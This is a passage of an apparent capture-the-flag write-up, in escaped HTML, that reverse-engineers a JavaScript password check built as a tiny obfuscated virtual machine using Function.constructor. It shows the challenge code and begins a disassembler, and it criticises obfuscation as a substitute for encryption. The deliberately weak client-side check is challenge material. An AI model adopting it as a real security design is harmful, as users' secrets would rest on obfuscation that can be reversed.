secret with the supplied password and skip the validation step. If the password is wrong then the user is no better off anyway, and you're as secure as your encryption algorithm (very secure) and not your obfuscation mechanism (very insecure).\u003c/p\u003e\n\u003cp\u003eEven though this is a challenge and not the real world, it's still a reminder of a pattern seen all too often: the belief that obfuscation is a reasonable substitute for good security.\u003c/p\u003e\n\u003cp\u003eAnyway, the validation function is where the interesting stuff happens!\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003easync\u003c/span\u003e \u003cspan class=\"kd\"\u003efunction\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"c1\"\u003e// TODO: check if they can just use Google to get the password once they understand how this works.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ecode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;icffjcifkciilckfmckincmfockkpcofqcoircqfscoktcsfucsivcufwcooxcwfycwiAcyfBcwkCcBfDcBiEcDfFcwoGcFfHcFiIcHfJcFkKcJfLcJiMcLfNcwwOcNNPcOOQcPORcQNScRkTcSiUcONVcUoWcOwXcWkYcVkЀcYiЁcЀfЂcQoЃcЂkЄcЃfЅcPNІcЅwЇcІoЈcЇiЉcЈfЊcPkЋcЊiЌcІiЍcЌfЎcWoЏcЎkАcЏiБcІkВcБfГcNkДcГfЕcЇkЖcЕiЗcЖfИcRwЙcИoКcЙkЛcUkМcЛiНcМfОcИkПcОiРcПfСcUwТcСiУcQkФcУiХcЃiЦcQwЧcЦoШcЧkЩcШiЪcЩfЫcRiЬcЫfЭcКiЮcЭfЯcСoаcЯiбcГiвcЙiгcRoдcгkеcдiжdТaзcЛfиdзaжcжийcСkкdйaжcжклcйfмdлaжcжмнdТaжcжноdЀaжcжопdNaжcжпрcUiсcрfтdсaуdЁaтcтутcтофcТfхdфaтcтхтcтктcтнтcтмцdсaтcтцтcтктcтутcтнчaaтшdЯaщcйiъcщfыdъaьcжыэcVfюdэaьcьюьcьояdЛaьcьяьcьуьcьыѐчшьёѐшшђcOfѓdђaѓcѓнѓcѓнєcUfѕdєaѓcѓѕіcЯfїdіaѓcѓїјaёѓљaaтњcжшћcЎiќcћfѝdќaњcњѝњcњeўcЏfџdўaњcњџѠdАaњcњѠњcњшњcњѝњcњfњcњџѡљшњѢaaтѣcжшѣcѣѝѣcѣeѣcѣџѤcЯkѥdѤaѣcѣѥѣcѣшѣcѣѝѣcѣfѣcѣџѦѢшѣѧcцнѧcѧїѨdСaѧcѧѨѧcѧкѧcѧуѩaёѧѪcхмѫdрaѪcѪѫѪcѪкѬdYaѪcѪѬѪcѪиѭaѩѪѮcяюѯdНaѮcѮѯѮcѮиѮcѮхѮcѮкѰaѭѮѱdVaѲcхѱѲcѲѕѳcNoѴcѳkѵcѴfѶdѵaѲcѲѶѲcѲiѲcѲlѲcѲmѷјѲgѸјѭѷѹbѰѸѺcXfѻdѺaѻcѻюѻcѻоѻcѻкѻcѻoѼdђaѻcѻѼѻcѻнѻcѻнѻcѻѕѻcѻїѽaёѻѾѽѹшѿceeҀceeҁcee҂ceeѿaѾeҀјѿT҂ѡҀшҁјh҂hѦҁшѿaѾfҀјѿV҂ѡҀшҁјh҂hѦҁшѿaѾiҀјѿU҂ѡҀшҁјh҂hѦҁшѿaѾjҀјѿX҂ѡҀшҁјh҂hѦҁшѿaѾkҀјѿЁ҂ѡҀшҁјh҂hѦҁшѿaѾlҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾmҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾnҀјѿЉ҂ѡҀшҁјh҂hѦҁшѿaѾoҀјѿЄ҂ѡҀшҁјh҂hѦҁшѿaѾpҀјѿЋ҂ѡҀшҁјh҂hѦҁшѿaѾqҀјѿЍ҂ѡҀшҁјh҂hѦҁшѿaѾrҀјѿА҂ѡҀшҁјh҂hѦҁшѿaѾsҀјѿF҂ѡҀшҁјh҂hѦҁшѿaѾtҀјѿВ҂ѡҀшҁјh҂hѦҁшѿaѾuҀјѿД҂ѡҀшҁјh҂hѦҁшѿaѾvҀјѿЗ҂ѡҀшҁјh҂hѦҁшѿaѾwҀјѿК҂ѡҀшҁјh҂hѦҁшѿaѾxҀјѿН҂ѡҀшҁјh҂hѦҁшѿaѾyҀјѿР҂ѡҀшҁјh҂hѦҁшѿaѾAҀјѿТ҂ѡҀшҁјh҂hѦҁшѿaѾBҀјѿФ҂ѡҀшҁјh҂hѦҁшѿaѾCҀјѿW҂ѡҀшҁјh҂hѦҁшѿaѾDҀјѿХ҂ѡҀшҁјh҂hѦҁшѿaѾEҀјѿЪ҂ѡҀшҁјh҂hѦҁшѿaѾFҀјѿЬ҂ѡҀшҁјh҂hѦҁшѿaѾGҀјѿЮ҂ѡҀшҁјh҂hѦҁшѿaѾHҀјѿа҂ѡҀшҁјh҂hѦҁшѿaѾIҀјѿe҂ѡҀшҁјh҂hѦҁшѿaѾJҀјѿб҂ѡҀшҁјh҂hѦҁшѿaѾKҀјѿв҂ѡҀшҁјh҂hѦҁшѿaѾLҀјѿK҂ѡҀшҁјh҂hѦҁшѿaѾMҀјѿе҂ѡҀшҁјh҂hѦҁш\u0026#39;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eb\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econstructor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eapply\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eapply\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ec\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ed\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efromCharCode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eg\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eTextEncoder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"nx\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nx\"\u003eh\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elength\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"nx\"\u003ei\u003c/span\u003e \u003cspan class=\"o\"\u003e+=\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003esubstr\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e](\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e]);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"k\"\u003einstanceof\u003c/span\u003e \u003cspan class=\"nb\"\u003ePromise\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"kr\"\u003eawait\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eh\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIf you scroll along, you'll see that \u003ccode\u003ecode\u003c/code\u003e variable is \u003cem\u003every long\u003c/em\u003e. It's four hundred 4-byte instructions of a tiny \u003cabbr title=\"Virtual Machine\"\u003eVM\u003c/abbr\u003e, whose global (and only) state is the object \u003ccode\u003eenv\u003c/code\u003e. In this limited environment, the only operations available are method application and object instantiation with exactly 2 parameters each. And it'll \u003ccode\u003eawait\u003c/code\u003e any \u003ccode\u003ePromise\u003c/code\u003es it finds along the way.\u003c/p\u003e\n\u003cp\u003eThe initial state is quite limited.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003evar\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eb\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eFunction\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003econstructor\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eapply\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eapply\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ec\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"nx\"\u003ey\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ed\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efromCharCode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003ex\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ee\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003ef\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eg\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003eTextEncoder\u003c/span\u003e\u003cspan class=\"p\"\u003e().\u003c/span\u003e\u003cspan class=\"nx\"\u003eencode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003epassword\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003eh\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003cp\u003eIn terms of functions, that's array dereference (\u003ccode\u003egetItem\u003c/code\u003e), method application (\u003ccode\u003eapply\u003c/code\u003e), \u003ccode\u003eadd\u003c/code\u003e, and \u003ccode\u003efromCharCode\u003c/code\u003e.\u003c/p\u003e\n\u003cp\u003eAs a starting point, we're allowed the numbers \u003ccode\u003e0\u003c/code\u003e and \u003ccode\u003e1\u003c/code\u003e, and of course, access to the password we entered (as an array of bytes).\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eh\u003c/code\u003e is the variable that must equal 0 at the end to indicate a valid password.\u003c/p\u003e\n\u003cp\u003eWhere there's contrived bytecode there's room for a contrived disassembler.\u003c/p\u003e\n\u003cpre class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kr\"\u003eclass\u003c/span\u003e \u003cspan class=\"nx\"\u003eExpressionDisassembler\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nx\"\u003econstructor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003elhs\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003elhs\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003efn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003efn\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg1\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003earg1\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003earg2\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003earg2\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"nx\"\u003eenv\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eenv\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan 